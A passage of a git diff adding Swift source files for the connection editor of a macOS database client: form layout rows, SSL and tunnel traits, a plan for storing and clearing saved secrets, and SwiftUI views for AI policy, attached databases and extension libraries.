type) + ) + traits.containerEntityName = pluginManager.containerEntityName(for: type) + traits.fileExtensions = pluginManager.fileExtensions(for: type) + traits.newDatabaseFileExtensions = pluginManager.newDatabaseFileExtensions(for: type) + traits.localFilePathField = pluginManager.localFilePathField(for: type) + traits.defaultLocalSocketPath = pluginManager.defaultLocalSocketPath(for: type) + traits.defaultUnixSocketPath = pluginManager.defaultUnixSocketPath(for: type) + traits.localSocketIsDirectory = type.localSocketIsDirectory + traits.socketForwardApplies = DatabaseConnection.socketForwardApplies(to: type) + traits.supportsSSH = pluginManager.supportsSSH(for: type) + traits.supportsSSL = pluginManager.supportsSSL(for: type) + traits.supportsCloudflareTunnel = pluginManager.supportsCloudflareTunnel(for: type) + traits.supportsSOCKSProxy = pluginManager.supportsSOCKSProxy(for: type) + traits.supportsTunnelCommand = pluginManager.supportsTunnelCommand(for: type) + traits.supportsCloudSQLProxy = type.supportsCloudSQLProxy + traits.supportsRemoteDatabaseFile = pluginManager.supportsRemoteDatabaseFile(for: type) + traits.supportsRemoteDatabaseSession = pluginManager.supportsRemoteDatabaseSession(for: type) + traits.serverEndpointFields = snapshot?.capabilities.serverEndpointFields + traits.ssl = sslTraits(for: type, pluginManager: pluginManager) + traits.isEngineReadOnly = pluginManager.isEngineReadOnly(for: type) + traits.manualCommitAvailable = ManualCommit.isAvailable(for: type) + traits.supportsBinaryInlineLimit = pluginManager.binaryLengthFunction(for: type) != nil + traits.supportsIdentifierCase = type.identifierRules != nil + traits.storedSecureFieldIds = pluginManager.secureConnectionFieldIds(for: type) + return traits + } + + private static func showsBuiltInDatabaseField(mode: ConnectionMode, hidden: Bool, switchesDatabases: Bool) -> Bool { + switch mode { + case .fileBased: return false + case .apiOnly: return switchesDatabases && !hidden + default: return !hidden + } + } + + @MainActor + private static func sslTraits(for type: DatabaseType, pluginManager: PluginManager) -> SSLTraits { + var ssl = SSLTraits() + ssl.defaultMode = type.defaultSSLMode + ssl.supportsOpportunisticTLS = type.supportsOpportunisticTLS + ssl.tlsImpliedPorts = type.tlsImpliedPorts + ssl.modeWhenTLSEnabled = type.sslModeWhenTLSEnabled + ssl.supportsPerConnectionCertificatePaths = type.supportsPerConnectionCertificatePaths + ssl.verifiesServerWithSystemTrust = type.verifiesServerWithSystemTrust + ssl.supportsClientKeyPassphrase = type.supportsClientKeyPassphrase + ssl.note = type.sslPaneTooltip + // A registry plugin that is not installed has no type to ask, and the connect re-checks the mode anyway. + if pluginManager.isDriverInstalled(for: type), let plugin = pluginManager.driverPlugin(for: type) { + let pluginType = Swift.type(of: plugin) + ssl.supportedModes = pluginType.supportedSSLModes + ssl.modesThroughTunnel = pluginType.sslModesThroughTunnel + } + return ssl + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift b/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift new file mode 100644 index 0000000000..6195c361bb --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift @@ -0,0 +1,311 @@ +// +// EditorLayout.swift +// TablePro +// + +import Foundation + +struct EditorLayout: Equatable, Sendable { + var facets: [FacetLayout] + // Shown so a value survives a switch back, but the connect ignores them: drawn disabled and never validated. + var disabledRows: Set = [] + + var facetIDs: [ConnectionFacet] { facets.map(\.facet) } + + func isEnabled(_ row: EditorRow) -> Bool { + contains(row) && !disabledRows.contains(row) + } + + func facet(_ facet: ConnectionFacet) -> FacetLayout? { + facets.first { $0.facet == facet } + } + + func facet(containing row: EditorRow) -> ConnectionFacet? { + facets.first { $0.contains(row) }?.facet + } + + func contains(_ row: EditorRow) -> Bool { + facet(containing: row) != nil + } + + var allRows: [EditorRow] { + facets.flatMap { $0.sections.flatMap(\.rows) } + } +} + +struct FacetLayout: Equatable, Identifiable, Sendable { + var facet: ConnectionFacet + var title: String + var sections: [SectionLayout] + + var id: ConnectionFacet { facet } + + func contains(_ row: EditorRow) -> Bool { + sections.contains { $0.rows.contains(row) } + } + + func section(containing row: EditorRow) -> SectionLayout? { + sections.first { $0.rows.contains(row) } + } +} + +struct SectionLayout: Equatable, Identifiable, Sendable { + var id: String + var title: String? + var footer: String? + var rows: [EditorRow] +} + +enum EditorRow: Hashable, Sendable { + case builtIn(BuiltInRow) + case plugin(fieldID: String) + + var pluginFieldID: String? { + guard case .plugin(let fieldID) = self else { return nil } + return fieldID + } + + var accessibilityIdentifier: String { + switch self { + case .builtIn(let row): return row.accessibilityIdentifier + case .plugin(let fieldID): return "connection-field-\(fieldID)" + } + } +} + +enum BuiltInRow: Hashable, Sendable { + case name + case type + case environment + case endpointKind + case localSocketPath + case host + case port + case portTLSNotice + case databaseFile + case database + case credentialProfile + case username + case passwordSource + case passwordMode + case password + case kerberosNote + case pgpassStatus + + case transport + case sshForwardSocketPath + case remoteFilePath + case remoteFileAccess + case sshProfile + case sshProfileMissing + case sshConfigHost + case sshHost + case sshPort + case sshUsername + case sshAuthMethod + case sshPassword + case sshAgentSocket + case sshIdentityFile + case sshKeyFile + case sshKeyPassphrase + case sshNoAuthenticationNote + case sshTOTPMode + case sshTOTPSecret + case sshTOTPAlgorithm + case sshTOTPDigits + case sshTOTPPeriod + case jumpHost(UUID) + case addJumpHost + case cloudflareHostname + case cloudflareAuthMethod + case cloudflareSignIn + case cloudflareTokenId + case cloudflareTokenSecret + case cloudflareAutomaticPort + case cloudflareLocalPort + case cloudflareExposeToLAN + case cloudflareBinary + case cloudSQLInstance + case cloudSQLAuthMode + case cloudSQLServiceAccountKey + case cloudSQLIAMAuth + case cloudSQLPrivateIP + case cloudSQLAutomaticPort + case cloudSQLLocalPort + case cloudSQLBinary + case socksHost + case socksPort + case socksUsername + case socksPassword + case tunnelCommandMethod + case kubernetesResource + case kubernetesNamespace + case kubernetesContext + case awsTarget + case awsProfile + case awsRegion + case tunnelCommand + case tunnelCommandExecutable + case tunnelCommandPreview + + case sslMode + case sslNoFallbackNotice + case sslCertificateTrustNote + case sslCACertificate + case sslClientCertificate + case sslClientKey + case sslClientKeyPassphrase + + case icon + case color + case tags + case group + + case safeModeLevel + case manualCommit + case maskingRules + + case externalAccess + case aiPolicy + case alwaysAllowedTools + case aiRules + + case startupCommands + case preConnectScript + case scriptTimeout + case postDisconnectScript + + case connectTimeout + case queryTimeout + case binaryInlineLimit + case identifierCase + case localOnly + + var accessibilityIdentifier: String { + switch self { + case .name: return "connection-form-name" + case .type: return "connection-form-change-type" + case .environment: return "connection-form-environment" + case .endpointKind: return "connection-form-endpoint" + case .localSocketPath: return "connection-form-socket-path" + case .host: return "connection-form-host" + case .port: return "connection-form-port" + case .portTLSNotice: return "connection-form-port-tls-note" + case .databaseFile: return "connection-form-file-path" + case .database: return "connection-form-database" + case .credentialProfile: return "connection-form-credential-profile" + case .username: return "connection-form-username" + case .passwordSource: return "password-source-test" + case .passwordMode: return "connection-form-password-mode" + case .password: return "connection-form-password" + case .kerberosNote: return "connection-form-kerberos-note" + case .pgpassStatus: return "connection-form-pgpass-status" + case .transport: return "connection-form-transport" + case .sshForwardSocketPath: return "connection-form-ssh-forward-socket" + case .remoteFilePath: return "connection-form-remote-file-path" + case .remoteFileAccess: return "connection-form-remote-file-access" + case .sshProfile: return "connection-form-ssh-profile" + case .sshProfileMissing: return "connection-form-ssh-profile-missing" + case .sshConfigHost: return "connection-form-ssh-config-host" + case .sshHost: return "connection-form-ssh-host" + case .sshPort: return "connection-form-ssh-port" + case .sshUsername: return "connection-form-ssh-username" + case .sshAuthMethod: return "connection-form-ssh-auth-method" + case .sshPassword: return "connection-form-ssh-password" + case .sshAgentSocket: return "connection-form-ssh-agent-socket" + case .sshIdentityFile: return "connection-form-ssh-identity-file" + case .sshKeyFile: return "connection-form-ssh-key-file" + case .sshKeyPassphrase: return "connection-form-ssh-key-passphrase" + case .sshNoAuthenticationNote: return "connection-form-ssh-no-auth-note" + case .sshTOTPMode: return "connection-form-ssh-totp-mode" + case .sshTOTPSecret: return "connection-form-ssh-totp-secret" + case .sshTOTPAlgorithm: return "connection-form-ssh-totp-algorithm" + case .sshTOTPDigits: return "connection-form-ssh-totp-digits" + case .sshTOTPPeriod: return "connection-form-ssh-totp-period" + case .jumpHost(let id): return "connection-form-jump-host-\(id.uuidString)" + case .addJumpHost: return "connection-form-add-jump-host" + case .cloudflareHostname: return "connection-form-cloudflare-hostname" + case .cloudflareAuthMethod: return "connection-form-cloudflare-auth-method" + case .cloudflareSignIn: return "connection-form-cloudflare-sign-in" + case .cloudflareTokenId: return "connection-form-cloudflare-token-id" + case .cloudflareTokenSecret: return "connection-form-cloudflare-token-secret" + case .cloudflareAutomaticPort: return "connection-form-cloudflare-automatic-port" + case .cloudflareLocalPort: return "connection-form-cloudflare-local-port" + case .cloudflareExposeToLAN: return "connection-form-cloudflare-expose-lan" + case .cloudflareBinary: return "connection-form-cloudflare-binary" + case .cloudSQLInstance: return "connection-form-cloud-sql-instance" + case .cloudSQLAuthMode: return "connection-form-cloud-sql-auth-mode" + case .cloudSQLServiceAccountKey: return "connection-form-cloud-sql-key" + case .cloudSQLIAMAuth: return "connection-form-cloud-sql-iam" + case .cloudSQLPrivateIP: return "connection-form-cloud-sql-private-ip" + case .cloudSQLAutomaticPort: return "connection-form-cloud-sql-automatic-port" + case .cloudSQLLocalPort: return "connection-form-cloud-sql-local-port" + case .cloudSQLBinary: return "connection-form-cloud-sql-binary" + case .socksHost: return "connection-form-socks-host" + case .socksPort: return "connection-form-socks-port" + case .socksUsername: return "connection-form-socks-username" + case .socksPassword: return "connection-form-socks-password" + case .tunnelCommandMethod: return "connection-form-tunnel-method" + case .kubernetesResource: return "connection-form-kubernetes-resource" + case .kubernetesNamespace: return "connection-form-kubernetes-namespace" + case .kubernetesContext: return "connection-form-kubernetes-context" + case .awsTarget: return "connection-form-aws-target" + case .awsProfile: return "connection-form-aws-profile" + case .awsRegion: return "connection-form-aws-region" + case .tunnelCommand: return "connection-form-tunnel-command" + case .tunnelCommandExecutable: return "connection-form-tunnel-executable" + case .tunnelCommandPreview: return "connection-form-tunnel-preview" + case .sslMode: return "connection-form-ssl-mode" + case .sslNoFallbackNotice: return "connection-form-ssl-no-fallback" + case .sslCertificateTrustNote: return "connection-form-ssl-trust-note" + case .sslCACertificate: return "connection-form-ssl-ca" + case .sslClientCertificate: return "connection-form-ssl-client-certificate" + case .sslClientKey: return "connection-form-ssl-client-key" + case .sslClientKeyPassphrase: return "connection-form-ssl-key-passphrase" + case .icon: return "connection-form-icon" + case .color: return "connection-form-color" + case .tags: return "connection-form-tags" + case .group: return "connection-form-group" + case .safeModeLevel: return "connection-form-safe-mode" + case .manualCommit: return "connection-form-manual-commit" + case .maskingRules: return "connection-form-masking-rules" + case .externalAccess: return "connection-form-external-access" + case .aiPolicy: return "connection-form-ai-policy" + case .alwaysAllowedTools: return "connection-form-always-allowed-tools" + case .aiRules: return "connection-form-ai-rules" + case .startupCommands: return "connection-form-startup-commands" + case .preConnectScript: return "connection-form-pre-connect-script" + case .scriptTimeout: return "connection-form-script-timeout" + case .postDisconnectScript: return "connection-form-post-disconnect-script" + case .connectTimeout: return "connection-form-connect-timeout" + case .queryTimeout: return "connection-form-query-timeout" + case .binaryInlineLimit: return "connection-form-binary-inline-limit" + case .identifierCase: return "connection-form-identifier-case" + case .localOnly: return "connection-form-local-only" + } + } +} + +struct FieldIssue: Hashable, Identifiable, Sendable { + enum Severity: Hashable, Sendable { + case error + case warning + } + + var facet: ConnectionFacet + var row: EditorRow + var message: String + var severity: Severity = .error + + var id: String { "\(facet.rawValue)|\(row.accessibilityIdentifier)|\(message)" } + + var blocksSave: Bool { severity == .error } + + var blocksTest: Bool { severity == .error } +} + +struct FocusRequest: Equatable, Sendable { + let facet: ConnectionFacet + let row: EditorRow + let token: UUID +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift b/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift new file mode 100644 index 0000000000..ac8ae3ad20 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift @@ -0,0 +1,247 @@ +// +// SecretWritePlan.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig +import TableProSSHTransport + +struct SecretWritePlan: Equatable, Sendable { + enum Item: Hashable, Sendable { + case password + case sshPassword + case sshKeyPassphrase + case totpSecret + case sslClientKeyPassphrase + case cloudflareTokenId + case cloudflareTokenSecret + case cloudSQLServiceAccountKey + case socksPassword + case pluginField(String) + } + + struct Write: Equatable, Sendable { + let item: Item + let value: String + } + + var writes: [Write] = [] + // Deferred by the staging until the record is on disk; a key whose read failed at load is never deleted. + var stagedDeletes: [Item] = [] + // Deliberate clears the user made, run once the record is on disk. + var deletesAfterRecord: [Item] = [] + + func writes(of item: Item) -> String? { + writes.first { $0.item == item }?.value + } + + enum Disposition: Equatable { + case untouched + case write(String) + case delete + } + + // A delete after the record runs last, and a write cancels a staged delete of the same key. + func disposition(of item: Item) -> Disposition { + if deletesAfterRecord.contains(item) { return .delete } + if let value = writes(of: item) { return .write(value) } + return stagedDeletes.contains(item) ? .delete : .untouched + } +} + +extension ConnectionEditorEngine { + // The exact declared secure fields of the type being saved and of the type it started as. + static func secureFieldsOwnedByForm( + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits? + ) -> [ConnectionField] { + var fields = traits.fields.filter(\.isSecure) + guard let originalTraits, originalTraits.type != traits.type else { return fields } + let known = Set(fields.map(\.id)) + fields += originalTraits.fields.filter { $0.isSecure && !known.contains($0.id) } + return fields + } + + static func secretPlan( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits?, + _ context: EditorContext + ) -> SecretWritePlan { + let draft = normalized(draft, traits) + var plan = SecretWritePlan() + func write(_ item: SecretWritePlan.Item, _ value: String) { + plan.writes.append(SecretWritePlan.Write(item: item, value: value)) + } + + let profileOwned = Set(draft.credentials.mode.profileId.flatMap { context.credentialProfile($0)?.secureFieldIds } ?? []) + for field in secureFieldsOwnedByForm(traits, originalTraits: originalTraits) where !profileOwned.contains(field.id) { + let value = draft.fieldValues[field.id] ?? "" + if value.isEmpty { + plan.stagedDeletes.append(.pluginField(field.id)) + } else { + write(.pluginField(field.id), value) + } + } + // An installed plugin older than the field still must not leave the token in the record. + let sessionTokenId = ConnectionSecretOptions.mongoSessionTokenFieldId + if let token = draft.fieldValues[sessionTokenId], !token.isEmpty { + write(.pluginField(sessionTokenId), token) + } + + // A linked connection holds no secret of its own: the profile owns it, so rotating it is one edit. + if let profileId = draft.credentials.mode.profileId { + plan.deletesAfterRecord.append(.password) + for fieldId in context.credentialProfile(profileId)?.secureFieldIds ?? [] { + plan.deletesAfterRecord.append(.pluginField(fieldId)) + } + } else if effectivePromptForPassword(draft, traits) || clearsStoredPassword(draft, traits) { + plan.deletesAfterRecord.append(.password) + } else if !draft.credentials.password.isEmpty { + write(.password, draft.credentials.password) + } + + planSSHSecrets(draft, context, into: &plan) + + if !draft.ssl.clientKeyPassphrase.isEmpty, + !draft.ssl.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty { + write(.sslClientKeyPassphrase, draft.ssl.clientKeyPassphrase) + } else { + plan.stagedDeletes.append(.sslClientKeyPassphrase) + } + + if draft.transport == .cloudflare, draft.cloudflare.authMethod == .serviceToken { + write(.cloudflareTokenId, draft.cloudflare.serviceTokenId) + write(.cloudflareTokenSecret, draft.cloudflare.serviceTokenSecret) + } else { + plan.stagedDeletes.append(contentsOf: [.cloudflareTokenId, .cloudflareTokenSecret]) + } + + if draft.transport == .cloudSQLProxy, draft.cloudSQLProxy.authMode == .serviceAccountKey, + draft.cloudSQLProxy.hasServiceAccountKey { + write(.cloudSQLServiceAccountKey, draft.cloudSQLProxy.serviceAccountKeyJSON) + } else { + plan.stagedDeletes.append(.cloudSQLServiceAccountKey) + } + + if draft.transport == .socksProxy, !draft.socksProxy.password.isEmpty { + write(.socksPassword, draft.socksProxy.password) + } else { + plan.stagedDeletes.append(.socksPassword) + } + return plan + } + + // Save onto a stored record. The draft's own plan deletes every secret its settings leave out, and those settings + // may be stale: a delete stands only where this editor changed the secret or what owns it since `baseline`, and + // the merged record keeps no use for it. + static func secretPlan( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits?, + _ context: EditorContext, + since baseline: ConnectionDraft, + mergedInto merged: DatabaseConnection + ) -> SecretWritePlan { + let mine = secretPlan(draft, traits, originalTraits: originalTraits, context) + let baselineTraits = baseline.type == traits.type ? traits : originalTraits ?? traits + let before = secretPlan(baseline, baselineTraits, originalTraits: originalTraits, context) + let draft = normalized(draft, traits) + func stands(_ item: SecretWritePlan.Item) -> Bool { + // A record that still delegates to the profile keeps no copy of its own for the driver to fall back on. + if delegatesToProfile(item, merged, context) { return true } + guard mine.disposition(of: item) != before.disposition(of: item) else { return false } + return secretValue(item, in: draft).isEmpty || !record(merged, uses: item) + } + var plan = mine + plan.writes = mine.writes.filter { !delegatesToProfile($0.item, merged, context) } + plan.stagedDeletes = mine.stagedDeletes.filter(stands) + plan.deletesAfterRecord = mine.deletesAfterRecord.filter(stands) + return plan + } + + static func secretValue(_ item: SecretWritePlan.Item, in draft: ConnectionDraft) -> String { + switch item { + case .password: return draft.credentials.password + case .sshPassword: return draft.ssh.password + case .sshKeyPassphrase: return draft.ssh.keyPassphrase + case .totpSecret: return draft.ssh.totpSecret + case .sslClientKeyPassphrase: return draft.ssl.clientKeyPassphrase + case .cloudflareTokenId: return draft.cloudflare.serviceTokenId + case .cloudflareTokenSecret: return draft.cloudflare.serviceTokenSecret + case .cloudSQLServiceAccountKey: return draft.cloudSQLProxy.serviceAccountKeyJSON + case .socksPassword: return draft.socksProxy.password + case .pluginField(let fieldId): return draft.fieldValues[fieldId] ?? "" + } + } + + static func delegatesToProfile(_ item: SecretWritePlan.Item, _ record: DatabaseConnection, _ context: EditorContext) -> Bool { + guard let profileId = record.credentialMode.profileId else { return false } + switch item { + case .password: + return true + case .pluginField(let fieldId): + return context.credentialProfile(profileId)?.secureFieldIds.contains(fieldId) == true + default: + return false + } + } + + // Whether a stored record still has a place for the secret, whatever value it holds. + static func record(_ record: DatabaseConnection, uses item: SecretWritePlan.Item) -> Bool { + switch item { + case .password: + return record.credentialMode.profileId == nil && !record.promptForPassword + case .pluginField: + return record.credentialMode.profileId == nil + case .sshPassword, .sshKeyPassphrase, .totpSecret: + guard case .inline(let config) = record.sshTunnelMode else { return false } + switch item { + case .sshPassword: return config.authMethod == .password || config.authMethod == .keyboardInteractive + case .sshKeyPassphrase: return config.authMethod == .privateKey + default: return config.totpMode == .autoGenerate + } + case .sslClientKeyPassphrase: + return !record.sslConfig.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty + case .cloudflareTokenId, .cloudflareTokenSecret: + guard case .inline(let config) = record.cloudflareTunnelMode else { return false } + return config.authMethod == .serviceToken + case .cloudSQLServiceAccountKey: + guard case .inline(let config) = record.cloudSQLProxyMode else { return false } + return config.authMode == .serviceAccountKey + case .socksPassword: + guard case .inline = record.socksProxyMode else { return false } + return true + } + } + + // A profile this Mac cannot resolve keeps its link and every secret: nothing here may convert or clear it. + private static func planSSHSecrets(_ draft: ConnectionDraft, _ context: EditorContext, into plan: inout SecretWritePlan) { + switch sshResolution(draft, context) { + case .inline: + let ssh = draft.ssh + if (ssh.authMethod == .password || ssh.authMethod == .keyboardInteractive) && !ssh.password.isEmpty { + plan.writes.append(SecretWritePlan.Write(item: .sshPassword, value: ssh.password)) + } else if ssh.clearsStoredPassword { + plan.deletesAfterRecord.append(.sshPassword) + } + if ssh.authMethod == .privateKey && !ssh.keyPassphrase.isEmpty { + plan.writes.append(SecretWritePlan.Write(item: .sshKeyPassphrase, value: ssh.keyPassphrase)) + } else if ssh.clearsStoredKeyPassphrase { + plan.deletesAfterRecord.append(.sshKeyPassphrase) + } + if ssh.totpMode == .autoGenerate && !ssh.totpSecret.isEmpty { + plan.writes.append(SecretWritePlan.Write(item: .totpSecret, value: ssh.totpSecret)) + } else { + plan.stagedDeletes.append(.totpSecret) + } + case .profile, .disabled: + plan.stagedDeletes.append(contentsOf: [.sshPassword, .sshKeyPassphrase, .totpSecret]) + case .unresolvedProfile: + break + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift new file mode 100644 index 0000000000..5f90142523 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift @@ -0,0 +1,104 @@ +import SwiftUI + +struct AIAndMCPFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Form { + ForEach(sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + .id(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = footer(for: section) { + Text(verbatim: footer) + } + } + } + } + .formStyle(.grouped) + .scrollsToEditorFocus(.aiAndMCP, store: store) + } + + private var sections: [SectionLayout] { + store.layout.facet(.aiAndMCP)?.sections ?? [] + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.externalAccess): + Picker(selection: store.tracking(store.binding(\.ai.externalAccess), row: row)) { + ForEach(ExternalAccessLevel.allCases) { level in + Text(verbatim: level.displayName).tag(level) + } + } label: { + EditorRowLabel(String(localized: "Access"), row: row, store: store) + } + .pickerStyle(.segmented) + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + case .builtIn(.aiPolicy): + Picker(selection: store.tracking(store.binding(\.ai.policy), row: row)) { + Text(String(localized: "Use Default")) + .tag(AIConnectionPolicy?.none) + ForEach(AIConnectionPolicy.allCases) { policy in + Text(verbatim: policy.displayName) + .tag(AIConnectionPolicy?.some(policy)) + } + } label: { + EditorRowLabel(String(localized: "Policy"), row: row, store: store) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + case .builtIn(.alwaysAllowedTools): + ForEach(store.draft.ai.alwaysAllowedTools, id: \.self) { tool in + LabeledContent { + Button(String(localized: "Forget")) { + store.noteEdited(row) + store.forgetAlwaysAllowed(tool) + } + .accessibilityLabel(String(format: String(localized: "Forget %@"), tool)) + } label: { + Text(verbatim: tool) + Text(String(localized: "Always allowed")) + } + } + case .builtIn(.aiRules): + EditorCodeEditor(text: store.binding(\.ai.rules), language: .plain, row: row, store: store, minHeight: 120) + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store) + default: + EmptyView() + } + } + + // The engine leaves these footers to the view: they read live state the layout does not carry. + private func footer(for section: SectionLayout) -> String? { + var paragraphs = section.footer.map { [$0] } ?? [] + if section.rows.contains(.builtIn(.externalAccess)) { + if section.footer == nil { + paragraphs.append(String( + localized: "Limits what MCP clients, scripts and shortcuts can do with this connection, whatever their token allows." + )) + } + if let note = store.externalClientsReadOnlyNote { + paragraphs.append(note) + } + } + if section.rows.contains(.builtIn(.aiPolicy)), section.footer == nil { + var sentences = [String(localized: "Sets when the assistant and MCP clients may read this connection.")] + if section.rows.contains(.builtIn(.alwaysAllowedTools)) { + sentences.append(String(localized: "Forget a tool to be asked before it runs again.")) + } + paragraphs.append(sentences.joined(separator: " ")) + } + return paragraphs.isEmpty ? nil : paragraphs.joined(separator: "\n") + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift new file mode 100644 index 0000000000..f82aabba87 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift @@ -0,0 +1,150 @@ +import AppKit +import SwiftUI + +// The attached databases as rows of their section; the entries keep ids across edits, the stored value does not. +struct AdvancedAttachedDatabaseRows: View { + let fieldID: String + @ObservedObject var store: ConnectionEditorStore + + @State private var model = AttachedDatabaseListModel(encoded: "") + @FocusState private var focusedEntry: UUID? + + private var row: EditorRow { .plugin(fieldID: fieldID) } + private var value: Binding { store.pluginFieldBinding(fieldID) } + + var body: some View { + ForEach(Array(model.rows.enumerated()), id: \.element.id) { index, entry in + AdvancedListEntry( + path: entry.path, + notice: AttachedDatabaseFileIssue.issue(forPath: entry.path)?.message, + actionsLabel: String(format: String(localized: "Actions for %@"), entry.name), + identifier: "connection-attached-database-\(index)", + canMoveUp: index > 0, + canMoveDown: index < model.rows.count - 1, + onMove: { offset in move(entry.id, by: offset) }, + onChangeFile: { Task { await changeFile(of: entry.id) } }, + onRemove: { remove(entry.id) } + ) { + // The name a statement reaches it by, edited where it reads. + TextField(text: nameBinding(for: entry.id), prompt: Text(String(localized: "Name"))) { + Text(String(localized: "Name")) + } + .labelsHidden() + .autocorrectionDisabled() + .focused($focusedEntry, equals: entry.id) + .help(String(localized: "The name a statement uses for this database, as in name.table.")) + .accessibilityIdentifier("connection-attached-database-\(index)-name") + } value: { + EmptyView() + } + } + + if model.isUnreadable { + NoticeLabel(String(localized: "The saved list could not be read. Adding a database replaces it.")) + } + + LabeledContent { + Button(String(localized: "Attach Database…")) { + Task { await attach() } + } + .accessibilityIdentifier("connection-attached-databases-add") + } label: { + if let issue = store.revealedIssue(for: row) { + NoticeLabel(issue.message, severity: issue.noticeSeverity) + } else if model.rows.isEmpty { + Text(String(localized: "No Attached Databases")) + .foregroundStyle(.secondary) + } else { + Text("^[\(model.rows.count) Attached Database](inflect: true)") + } + } + .onAppear(perform: reload) + .onChange(of: value.wrappedValue) { _ in reload() } + .onEditorFocusRequest(row, store: store) { focusedEntry = model.rows.first?.id } + } + + private func nameBinding(for id: UUID) -> Binding { + Binding( + get: { model.rows.first { $0.id == id }?.name ?? "" }, + set: { newValue in + model.setName(newValue, for: id) + commit() + } + ) + } + + private func reload() { + guard !model.matches(encoded: value.wrappedValue) else { return } + model = AttachedDatabaseListModel(encoded: value.wrappedValue) + } + + private func commit() { + store.noteEdited(row) + let encoded = model.encoded + guard value.wrappedValue != encoded else { return } + value.wrappedValue = encoded + } + + private func move(_ id: UUID, by offset: Int) { + guard let index = model.rows.firstIndex(where: { $0.id == id }) else { return } + let target = index + offset + guard model.rows.indices.contains(target) else { return } + model.move(fromOffsets: IndexSet(integer: index), toOffset: offset > 0 ? target + 1 : target) + commit() + } + + private func remove(_ id: UUID) { + _ = model.remove([id]) + commit() + } + + private func attach() async { + let paths = await chooseFiles( + title: String(localized: "Attach Database"), + prompt: String(localized: "Attach"), + message: String(localized: "Choose the database files to attach each time this connection opens."), + allowsMultipleSelection: true + ) + guard !paths.isEmpty else { return } + _ = model.add(paths: paths) + commit() + } + + // The entry keeps its name and its place; only the file it names changes. + private func changeFile(of id: UUID) async { + guard let entry = model.rows.first(where: { $0.id == id }) else { return } + let paths = await chooseFiles( + title: String(localized: "Change File"), + prompt: String(localized: "Choose"), + message: String(format: String(localized: "Choose the database file to attach as “%@”."), entry.name), + allowsMultipleSelection: false, + currentPath: entry.path + ) + guard let path = paths.first else { return } + model.setPath(path, for: id) + commit() + } + + private func chooseFiles( + title: String, + prompt: String, + message: String, + allowsMultipleSelection: Bool, + currentPath: String = "" + ) async -> [String] { + let panel = NSOpenPanel() + let rule = DatabaseFileBrowseRule.forType(store.draft.type, extensions: store.traits.fileExtensions) + let filter = PanelEnableFilter(isEnabled: rule.isEnabled, validate: rule.validate) + panel.title = title + panel.prompt = prompt + panel.message = message + panel.allowsMultipleSelection = allowsMultipleSelection + panel.canChooseDirectories = false + panel.directoryURL = DatabaseFileLocation(path: currentPath).existingFolder + panel.delegate = filter + let response = await EditorFilePanel.present(panel, in: EditorFilePanel.window(for: store)) + withExtendedLifetime(filter) {} + guard response == .OK else { return [] } + return panel.urls.map { $0.path(percentEncoded: false) } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift new file mode 100644 index 0000000000..50ae3f80a5 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedExtensionRows.swift @@ -0,0 +1,179 @@ +import AppKit +import SwiftUI +import UniformTypeIdentifiers + +// The extension libraries as rows of their section, loaded in this order; Add is the only way an entry is created. +struct AdvancedExtensionRows: View { + let fieldID: String + @ObservedObject var store: ConnectionEditorStore + + @State private var model = LoadableExtensionListModel(encoded: "") + @FocusState private var focusedEntry: UUID? + + private var row: EditorRow { .plugin(fieldID: fieldID) } + private var value: Binding { store.pluginFieldBinding(fieldID) } + + var body: some View { + ForEach(Array(model.rows.enumerated()), id: \.element.id) { index, entry in + let fileName = (entry.path as NSString).lastPathComponent + AdvancedListEntry( + path: entry.path, + notice: LoadableExtensionFileIssue.issue(forPath: entry.path)?.message, + actionsLabel: String(format: String(localized: "Actions for %@"), fileName), + identifier: "connection-extension-\(index)", + canMoveUp: index > 0, + canMoveDown: index < model.rows.count - 1, + onMove: { offset in move(entry.id, by: offset) }, + onChangeFile: { Task { await changeFile(of: entry.id) } }, + onRemove: { remove(entry.id) } + ) { + Text(verbatim: fileName) + } value: { + TextField( + String(localized: "Entry Point"), + text: entryPointBinding(for: entry.id), + prompt: Text(String(localized: "Default entry point")) + ) + .labelsHidden() + .autocorrectionDisabled() + .frame(minWidth: 0, idealWidth: 140, maxWidth: .infinity) + .focused($focusedEntry, equals: entry.id) + .help(String(localized: "The initialization function to call. Leave empty to use the one SQLite derives from the file name.")) + .accessibilityIdentifier("connection-extension-\(index)-entry-point") + } + } + + if model.isUnreadable { + NoticeLabel(String(localized: "The saved list could not be read. Adding an extension replaces it.")) + } + + LabeledContent { + 